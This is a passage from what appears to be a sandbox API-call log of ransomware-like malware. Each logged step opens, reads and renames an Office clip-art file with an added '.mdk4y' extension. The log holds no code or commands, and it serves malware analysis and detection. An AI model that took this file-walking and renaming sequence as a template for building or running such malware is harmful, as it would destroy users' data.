files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.051] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2566, lpOverlapped=0x0) returned 1 [0174.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.mdk4y")) returned 1 [0174.053] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.053] AreFileApisANSI () returned 1 [0174.053] GetACP () returned 0x4e4 [0174.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01785_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01785_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.054] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ca8, lpOverlapped=0x0) returned 1 [0174.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.mdk4y")) returned 1 [0174.056] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.056] AreFileApisANSI () returned 1 [0174.057] GetACP () returned 0x4e4 [0174.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01805_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01805_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1088, lpOverlapped=0x0) returned 1 [0174.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.mdk4y")) returned 1 [0174.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.066] AreFileApisANSI () returned 1 [0174.066] GetACP () returned 0x4e4 [0174.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01905_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01905_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.066] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x578, lpOverlapped=0x0) returned 1 [0174.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.mdk4y")) returned 1 [0174.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.073] AreFileApisANSI () returned 1 [0174.073] GetACP () returned 0x4e4 [0174.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO01954_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO01954_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.075] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3086, lpOverlapped=0x0) returned 1 [0174.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.mdk4y")) returned 1 [0174.094] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.094] AreFileApisANSI () returned 1 [0174.094] GetACP () returned 0x4e4 [0174.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02009_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02009_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d14, lpOverlapped=0x0) returned 1 [0174.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.mdk4y")) returned 1 [0174.100] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.100] AreFileApisANSI () returned 1 [0174.100] GetACP () returned 0x4e4 [0174.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02022_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02022_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.100] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d68, lpOverlapped=0x0) returned 1 [0174.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.mdk4y")) returned 1 [0174.103] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.103] AreFileApisANSI () returned 1 [0174.103] GetACP () returned 0x4e4 [0174.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02024_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02024_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.104] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23a8, lpOverlapped=0x0) returned 1 [0174.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.mdk4y")) returned 1 [0174.106] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.106] AreFileApisANSI () returned 1 [0174.106] GetACP () returned 0x4e4 [0174.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02025_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02025_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.107] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.108] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2016, lpOverlapped=0x0) returned 1 [0174.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.mdk4y")) returned 1 [0174.110] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.110] AreFileApisANSI () returned 1 [0174.110] GetACP () returned 0x4e4 [0174.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02028_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02028_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.111] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.111] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24c8, lpOverlapped=0x0) returned 1 [0174.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.mdk4y")) returned 1 [0174.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.121] AreFileApisANSI () returned 1 [0174.121] GetACP () returned 0x4e4 [0174.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02045_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02045_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.122] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x266c, lpOverlapped=0x0) returned 1 [0174.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.mdk4y")) returned 1 [0174.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.124] AreFileApisANSI () returned 1 [0174.124] GetACP () returned 0x4e4 [0174.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02048_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02048_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.124] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.125] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fde, lpOverlapped=0x0) returned 1 [0174.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.mdk4y")) returned 1 [0174.129] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.129] AreFileApisANSI () returned 1 [0174.129] GetACP () returned 0x4e4 [0174.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02051_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02051_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.130] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c2c, lpOverlapped=0x0) returned 1 [0174.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.mdk4y")) returned 1 [0174.132] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.132] AreFileApisANSI () returned 1 [0174.132] GetACP () returned 0x4e4 [0174.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02054_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02054_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30ca, lpOverlapped=0x0) returned 1 [0174.135] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.mdk4y")) returned 1 [0174.137] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.137] AreFileApisANSI () returned 1 [0174.137] GetACP () returned 0x4e4 [0174.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02055_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02055_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.137] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.137] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c4c, lpOverlapped=0x0) returned 1 [0174.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.mdk4y")) returned 1 [0174.161] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.161] AreFileApisANSI () returned 1 [0174.161] GetACP () returned 0x4e4 [0174.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02067_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02067_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.161] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x382a, lpOverlapped=0x0) returned 1 [0174.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.mdk4y")) returned 1 [0174.165] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.165] AreFileApisANSI () returned 1 [0174.165] GetACP () returned 0x4e4 [0174.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02094_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02094_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.165] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b4a, lpOverlapped=0x0) returned 1 [0174.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.mdk4y")) returned 1 [0174.168] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.168] AreFileApisANSI () returned 1 [0174.168] GetACP () returned 0x4e4 [0174.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02227_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02227_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.168] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.169] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x540, lpOverlapped=0x0) returned 1 [0174.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.mdk4y")) returned 1 [0174.171] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.171] 